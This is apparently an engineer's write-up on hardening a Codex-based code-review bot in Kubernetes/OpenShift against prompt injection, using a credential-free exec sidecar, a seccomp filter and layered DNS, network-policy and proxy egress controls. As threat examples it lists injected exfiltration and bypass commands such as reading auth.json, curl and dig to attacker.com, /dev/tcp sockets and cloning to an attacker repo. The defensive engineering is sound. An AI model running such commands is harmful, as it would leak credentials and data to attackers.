A merge-request review by : let the container be the security boundary. Translated to my situation: harden the pod, accept danger-full-access inside it.
The shape ends up looking like this:
┌─ bot pod ──────────────────────────────────────────────┐
│ │
│ ┌─ container: bot ─────────────────────────────────┐ │
│ │ Node (Fastify) │ │
│ │ codex-sdk → spawns `codex` Rust binary │ │
│ │ bash/sh → /opt/exec-bin/bash-wrapper │ │
│ │ │ │
│ │ HTTPS_PROXY → squid :3128 │ │
│ │ CODEX_HTTPS_PROXY → squid :3129 │ │
│ │ resolv.conf → 127.0.0.1:53 │ │
│ └──────┬─────────────────────┬─────────────────────┘ │
│ │ DNS :53 │ unix socket │
│ ▼ ▼ (/var/run/exec-sidecar)│
│ ┌─ container: ─────┐ ┌─ container: ──────────────┐ │
│ │ coredns sidecar │ │ exec-sidecar (native) │ │
│ │ (native, :53) │ │ │ │
│ │ │ │ exec-server runs │ │
│ │ *.cluster.local │ │ `bash -lc <cmd>` in its │ │
│ │ → resolve │ │ own mount namespace. │ │
│ │ anything else │ │ │ │
│ │ → NXDOMAIN │ │ Mounts: worktrees PVC, │ │
│ │ │ │ socket emptyDir. │ │
│ └──────────────────┘ └───────────────────────────┘ │
│ │
│ Pod-level mounts: │
│ - /codex-home PVC → bot container only │
│ - /worktrees PVC → bot + exec-sidecar │
│ - /var/run/exec-sidecar → bot + exec-sidecar │
│ │
└──────────┬───────────────────────────────────┬─────────┘
│ HTTPS :3128 / :3129 │ in-cluster TCP
│ (HTTPS_PROXY, │ (NetworkPolicy
│ CODEX_HTTPS_PROXY) │ allowlist only)
▼ ▼
┌─ egress-proxy pod ─────────────┐ ┌─ mariadb pod ──┐
│ squid (FQDN allowlist) │ │ reviews, │
│ :3128 bot port │ │ threads │
│ → chatgpt.com, gitlab.com │ └────────────────┘
│ :3129 codex port │
│ → api.openai.com, │ ┌─ redis pod ────┐
│ auth.openai.com, │ │ BullMQ queue │
│ *.openai.com │ └────────────────┘
└──────────────┬─────────────────┘
▼
internet (chatgpt.com, gitlab.com, *.openai.com)
A couple of controls are in place to hold this design together:
1. Keep credentials out of the Codex process tree
The GitLab service-account PAT is for the bot's own API calls (gitbeaker). Codex never needs it. The Codex SDK config scrubs bot-side env vars so they don't reach /proc/<codex-pid>/environ or any of its shell-tool subprocesses.
Same idea for git. When the worker prepares a worktree it clones with the authed URL as a transient argv, then sets the persisted remote to the plain form. Git is spawned with a minimal env (no GITLAB_SA_TOKEN) and -c credential.helper= to neutralize any user-level helper that would otherwise persist the URL-embedded PAT to ~/.git-credentials.
2. Move the shell tool into a sidecar that can't see the credentials
This is the part I'm most pleased with.
Codex's local_shell runs commands as bash -lc "<cmd>". The bot image rewrites /etc/passwd and prepends /opt/exec-bin/ to PATH so both Codex's getpwuid_r lookup and its which::which() fallback resolve bash and sh to a wrapper binary I wrote.
The wrapper does not evaluate the command. It forwards (argv, cwd, env) over a unix socket (/var/run/exec-sidecar/exec.sock, an emptyDir shared between the bot and the sidecar) to a long-running Rust exec-server running in a separate container.
The sidecar mounts the worktrees PVC (RW) and the socket. It does not mount codex-home. So a prompt-injected cat /codex-home/auth.json returns ENOENT. The Codex CLI itself stays in the bot container with full /codex-home access, so token refresh and session writes still work. The prompt-injection-target subprocess runs in a mount namespace where the credentials don't exist.
No extra capabilities, no seccomp changes at the container level, no SCC fight. Pure userspace mount-namespace isolation. Works under restricted-v2 because OpenShift already gave me two containers in one pod and I just used them.
3. Block the lateral path with seccomp
The sidecar idea has a hole. If a prompt-injected bash -lc inside the sidecar can do socket(AF_UNIX) + connect(/var/run/exec-sidecar/exec.sock) + send(<forged ExecRequest>), it can ask the exec-server to spawn arbitrary argv / cwd / env. The attacker already has a shell at that point, so this is a lateral move rather than a privilege escalation. What it gets them is a clean way to forge requests that masquerade as legitimate bot calls.
The fix is a seccomp BPF filter, compiled once at startup with seccompiler, that returns EACCES on any socket() whose first argument is AF_UNIX, and Allow for everything else. The exec-server installs it in Command::pre_exec for each spawned child via seccompiler::apply_filter, which sets PR_SET_NO_NEW_PRIVS and then calls the seccomp syscall. Both work without CAP_SYS_ADMIN. That's what lets this work under restricted-v2 when most sandboxing primitives don't.
The filter is inherited across execve(2), so any subprocess of the spawned bash (python, git, node, …) is also blocked. AF_INET / AF_INET6 are unaffected: HTTPS through the proxy still works, and the courier socket between the wrapper in the bot container and the exec-server stays open because the wrapper isn't subject to the filter.
4. Four layers of egress lockdown
The goal: a prompt-injected curl https://attacker.com (or fetch, or dig anything.attacker.com, or raw bash sockets, or node -e "fetch(...)") fails regardless of which library or runtime the model picks.
Layer 1: Pod-local CoreDNS sidecar. The bot pod'sresolv.confpoints at127.0.0.1:53. CoreDNS resolves only*.cluster.localand PTR zones; everything else returnsNXDOMAIN. Closes DNS exfiltration (dig hex-secret.attacker.com). The bot doesn't need external DNS. HTTP CONNECT proxies do upstream resolution on the client's behalf.
Layer 2: NetworkPolicy. The bot pod's only allowed 443 destination is the egress-proxy pod. In-cluster egress is restricted to MariaDB, Redis, and kube-dns. A compromised Codex turn cannot reach neighbor pods, the OpenShift API, or any internal Service.
Layer 3: Squid bot port (3128). The bot's own outbound HTTP/S routes here viaHTTPS_PROXY. FQDN allowlist:chatgpt.com(the@mr-codex usageendpoint) andgitlab.com(gitbeaker). Anything else gets a 403. Native Nodefetchdoesn't auto-honorHTTPS_PROXY, so I wired it up explicitly via undici'sEnvHttpProxyAgent.
Layer 4: Squid codex port (3129). The Codex subprocess gets a differentHTTPS_PROXY. Allowlist is OpenAI only. Gitlab is deliberately excluded. A prompt-injectedgit clone https://gitlab.com/attacker/exfilfrom inside Codex fails: Codex literally cannot reach gitlab.com.
The reason squid lives in its own pod and not as a sidecar is worth calling out. NetworkPolicy operates at the pod level and does not see intra-pod loopback traffic. A sidecar squid would mean the bot pod's NetworkPolicy itself has to allow outbound to *.openai.com, chatgpt.com, gitlab.com so the sidecar can reach them. That same allowance lets the bot bypass the sidecar entirely with a direct curl. Splitting squid into its own pod lets the bot's NetworkPolicy deny all internet egress and force everything through a place where the FQDN allowlist actually binds.
Every realistic bypass path I could think of dies at one of the four layers, and the layers don't share failure modes. unset HTTPS_PROXY && curl …, node -e "fetch(…)", raw /dev/tcp/host/port redirection, dig hex-secret.attacker.com, git clone https://gitlab.com/attacker/exfil from inside Codex: each one gets caught somewhere different.
Things I deliberately didn't do
No retry-on-auth-failure loop. When the OAuth refresh token can no longer be refreshed, the bot edits the MR status comment, pauses the queue, and stops. A human re-seedsauth.json. There's no clever "hold jobs and retry hourly" path. Refresh failure means a credential rotation is needed; silent recovery would mostly mean the queue dies in interesting ways three days later.
No per-MR worker scaling. Concurrency stays at 1. Both because of OpenAI abuse heuristics and because one human reviewer's worth of feedback is fine for a team of our size. If we ever need to go faster, the lever is a shorter prompt or a better worktree cache.
No "secure local dev mode." docker-compose ships none of the network layers. Local dev is for iterating on bot features. Pretending otherwise would have meant maintaining a parallel security implementation that nobody actually exercises.
Honest trade-offs
This setup beats Duo on cost and customization. It loses on operational overhead: there's a Helm chart, a MariaDB, a Redis, an egress proxy, a CoreDNS sidecar, an exec-sidecar, and an auth.json rotation drill. If you don't have the cluster appetite, Duo's "tick a checkbox in project settings" experience is real value.
It also accepts ToS gray-area risk that Duo doesn't.
A note on availability. This project is closed source. I built it as a one-off internal tool for our team and never planned to publish it. If there's enough interest in seeing the code, drop a comment below or message me directly. I'll talk it over with the team and consider opening it up.
SOCIAL SHARE CARD GENERATOR